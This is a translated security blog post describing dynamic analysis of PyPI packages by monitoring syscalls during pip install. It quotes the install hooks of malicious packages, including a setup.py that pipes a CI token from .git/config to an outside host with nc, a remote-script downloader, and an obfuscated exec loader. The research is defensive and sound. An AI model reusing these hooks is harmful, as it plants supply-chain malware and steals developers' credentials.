大约一年前，Python软件基金会（Python Software Foundation）发了一个需求咨询帖子（RFI，https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240），主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包，对流行的库进行Typosquatting攻击钓鱼劫持，还是对第三方库进行撞库攻击，很明显，这都是一个值得思考的问题，几乎影响到每个开发者。使用pip install安装软件包时，大多数人不清楚自己所需的python模块在哪个软件包中，有时候甚至是模糊搜索安装，这就给恶意利用的人提供了机会。
事实上，像PyPI这样的软件包管理器是几乎每个公司都依赖的关键基础架构。针对这个问题的严重性我们可以在这个主题上谈上几天几夜，不过看了下面的这张图你就明白了。
我想对此做进一步的探讨，因此在本文中，我将逐步介绍如何安装和分析PyPI中的软件包并寻找恶意攻击活动。
如何查找恶意包
为了在安装过程中运行任意命令，作者通常将代码添加到其程序包中的setup.py文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。
总的来说，您可以用以下两种方式来查找潜在的恶意依赖包：查看代码中的不良内容（静态分析），或者可以安装它们以查看会发生什么情况（动态分析）。
虽然静态分析非常有趣（我曾在Node.js 的包管理工具npm上手动使用grep命令搜寻到了恶意软件包，``https://duo.com/decipher/hunting-malicious-npm-packages`），但在这篇文章中，我将重点介绍动态分析。毕竟我认为它会有效果，因为你正在查看实际发生的事情，而不是仅仅寻找未来可能发生的事。
那我们到底在寻找什么呢？
如何把握重点
通常，任何重要操作发生都是由内核完成的，普通程序（如pip）通过内核执行重要操作是通过使用syscall来完成的。使用syscall可以完成打开文件、建立网络连接和执行命令的所有操作！
您可以从Julia Evans的漫画中了解syscall的更多内容：
这意味着，如果我们可以在安装Python软件包期间监视系统调用（syscalls），就可以查看是否发生了任何可疑事件。
监测系统调用（syscalls）这个方法并不是我想到的。自2017年以来，亚当·鲍德温（Adam Baldwin）等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文（https://arxiv.org/pdf/2002.01139.pdf），采用了同样的方法。老实说，大多数博客文章只是试图重现他们的想法。
现在，我们想监测系统调用（syscalls），那么到底该怎么做呢？
使用Sysdig监测Syscall
有许多旨在让您监测系统调用的工具，对于本项目，我使用sysdig，因为它既提供结构化输出，又提供了一些非常好的过滤功能。
为了使该工作正常进行，在启动安装该软件包的Docker容器时，我还启动了一个sysdig进程，该进程仅监测该容器中的事件。我也过滤掉了要从pypi.org或files.pythonhosted.com进行的网络读取/写入，因为我不想被与软件包下载相关的事件写满日志。
通过捕获系统调用的方法，我不得不解决另一个问题：如何获取所有PyPI软件包的列表。
获取Python包
对我们来说幸运的是，PyPI拥有一个称为Simple API(https://www.python.org/dev/peps/pep-0503/)的API，可以将其视为“一个非常大的HTML页面，其中包含指向每个包的链接”。它简单，干净而且比我可能会写的任何HTML都要好。
我们可以抓取此页面并使用pup解析所有链接，从而为我们提供约268,000个软件包：
-
> curl https:
//pypi.org/simple/ | pup'a text {}'> pypi_full.txt
-
-
> wc -l pypi_full.txt
-
268038 pypi_full.txt
对于本实验，我只关心每个软件包的最新版本。较旧的版本中可能埋藏着恶意版本的软件包，但AWS不会自己买单（笑）。
我最终实现了一个看起来像这样的管道：
简而言之，我们将每个软件包名称发送到一组EC2实例（我希望将来使用AWS Fargate无服务器化容器解决方案或其他东西，但我现在也不知道Fargate怎么用，所以……），该程序会从PyPI中获取有关软件包的一些元数据，然后在一系列容器pip install安装软件包同时启动sysdig，以监测syscall和网络流量。然后，所有数据都被运送到S3以供未来使用。
这个过程如下所示：
结果
过程一旦完成，我将在一个S3存储库中获取几TB的数据，覆盖大约245,000个软件包。尽管有的软件包没有发布版本，有的软件包具有各种bug，但是这似乎也是一个很好的样本。
现在开始有趣的部分：分析！（其实是一系列枯燥的grep操作）
我合并了元数据和输出，提供了一系列如下所示的JSON文件：
-
{
-
"metadata": {},
-
"output": {
-
"dns": [],
// Any DNS requests made
-
"files": [],
// All file access operations
-
"connections": [],
// TCP connections established
-
"commands": [],
// Any commands executed
-
}
-
}
然后，我编写了一系列脚本来开始汇总数据，以试图区别是良性程序包和恶意程序包。让我们深入研究一些结果。
网络请求
在安装过程中，软件包需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源，它们可能是一种分析形式，或者可能正试图从系统中窃取数据或凭证。
结果发现，有460个软件包将网络连接到109个特定主机。就像上面论文提到的一样，其中很多是程序包共享建立网络连接依赖关系的结果。可以通过映射依赖关系将其过滤掉，但是我在这里还没有做过。
这里（https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1）是安装过程中看到的DNS请求明细。
执行命令
像网络连接一样，在安装过程中，软件包有合理的理由运行系统命令。可以是编译二进制文件，或者设置正确的运行环境等。
查看我们的样本，发现60,725个软件包在安装过程中正在执行命令。就像网络连接一样，其中许多是依赖项（运行命令的程序包）的结果。
一些有趣的第三方包
深入研究结果后，发现大多数网络连接和命令似乎都是合乎常理预期的。但是，我想举几个奇怪的例子作为案例研究，以说明这种类型的分析多有用。
i-am-malicious
一个名为i-am-malicious的软件包似乎是恶意软件包的证明。以下是一些有趣的细节，使我们认为该程序包值得研究（如果名称不够的话......）：
-
{
-
"dns": [{
-
"name":
"gist.githubusercontent.com",
-
"addresses": [
-
"199.232.64.133"
-
]
-
}]
-
],
-
"files": [
-
...
-
{
-
"filename":
"/tmp/malicious.py",
-
"flag":
"O_RDONLY|O_CLOEXEC"
-
},
-
...
-
{
-
"filename":
"/tmp/malicious-was-here",
-
"flag":
"O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
-
},
-
...
-
],
-
"commands": [
-
"python /tmp/malicious.py"
-
]
-
}
我们看到与gist.github.com的连接，正在执行一个Python文件，并在此处创建了一个名为/ tmp / malicious-was-here的文件。当然，这就是setup.py中发生的事情：
-
from urllib.request
import urlopen
-
-
handler = urlopen(
"https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
-
with open(
"/tmp/malicious.py",
"wb") as fp:
-
fp.write(handler.read())
-
-
import subprocess
-
-
subprocess.call([
"python",
"/tmp/malicious.py"])
malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”类型的消息，表明这确实是一个证明。
maliciouspackage
另一个自称为"恶意程序包"的maliciouspackage更邪恶。这是相关的输出：
-
{
-
"dns": [{
-
"name":
"laforge.xyz",
-
"addresses": [
-
"34.82.112.63"
-
]
-
}],
-
"files": [
-
{
-
"filename":
"/app/.git/config",
-
"flag":
"O_RDONLY"
-
},
-
],
-
"commands": [
-
"sh -c apt install -y socat",
-
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
-
"grep ci-token /app/.git/config",
-
"nc laforge.xyz 5566"
-
]
-
}
和之前一样，我们的输出使我们对发生的事情有了一个不错的了解。在这种情况下，程序包似乎从.git / config文件中提取令牌并将其上传到laforge.xyz。浏览setup.py，我们发现确实是这样：
-
...
-
import os
-
os.system(
'apt install -y socat')
-
os.system(
'grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
easyIoCtl是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”，但我们看到以下命令正在执行：
-
[
-
"sh -c touch /tmp/testing123",
-
"touch /tmp/testing123"
-
]
可疑，但可能不是有意为之。但是这是一个完美的示例，显示了监测系统调用的功能。这是项目的setup.py中的相关代码：
-
class MyInstall():
-
def run(self):
-
control_flow_guard_controls =
'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
-
control_flow_guard_mappers = [
81,
71,
29,
78,
99,
83,
48,
78,
40,
90,
78,
40,
54,
40,
46,
40,
83,
6,
71,
22,
68,
83,
78,
95,
47,
80,
48,
34,
83,
71,
29,
34,
83,
6,
40,
83,
81,
2,
13,
69,
24,
50,
68,
11]
-
control_flow_guard_init =
""
-
for controL_flow_code in control_flow_guard_mappers:
-
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
-
exec(control_flow_guard_init)
-
此代码片段混淆不清，很难说出是怎么回事，传统的静态分析可能会抓住对exec的调用，但仅此而已。
要查看其作用，我们可以用打印替换exec，结果是：
import os;os.system('touch /tmp/testing123')
这正是我们记录的命令，表明即使代码混淆也不会影响我们的结果，因为我们正在对系统调用进行监视。
当我们发现恶意软件包时会发生什么？
值得简要讨论一下，当我们发现恶意程序包时该怎么办。首先要做的是提醒PyPI志愿者，以便他们下架这个包。可以通过联系security@python.org来完成。
之后，我们可以使用BigQuery上的PyPI公开数据集，查看该包的下载次数。
这是一个示例查询，用于查找在过去30天内安装了maliciouspackage的次数：
-
#standardSQL
-
SELECT COUNT(*) AS num_downloads
-
FROM
`the-psf.pypi.file_downloads`
-
WHERE file.project =
'maliciouspackage'
-
-- Only query the last
30 days of history
-
AND DATE(timestamp)
-
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL
30 DAY)
-
AND CURRENT_DATE()
运行此查询命令，结果表明它已被下载400次以上。
未来展望
第一步只是初步了解了整个PyPI的概况。查看数据，我发现没有任何程序包进行了严重有害的活动，而且名称中的某处也没有“恶意”。这很好！(其实并非如此，如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 pip install smb或者 pip download smb， 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情，或者将来会发生。如果您有兴趣挖掘数据，可以在这里（https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing）找到。
展望未来，我正在设置一个Lambda函数，以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理，如果检测到可疑活动，则会发送警报。
我仍然不喜欢仅通过pip install命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的，但它带来了风险。希望越来越多地监测各种第三方程序包管理器，并识别出恶意活动的迹象。
这不是PyPI独有的。之后，我希望对RubyGems，npm和其他程序包管理库进行相同的分析，就像我之前提到的研究人员一样。同时，您可以在此处（https://github.com/jordan-wright/ossmalware）找到用于运行实验的所有代码。
往期推荐
点击下方阅读原文加入社区会员
点赞鼓励一下
转载：https://blog.csdn.net/BF02jgtRS00XKtCx/article/details/109912432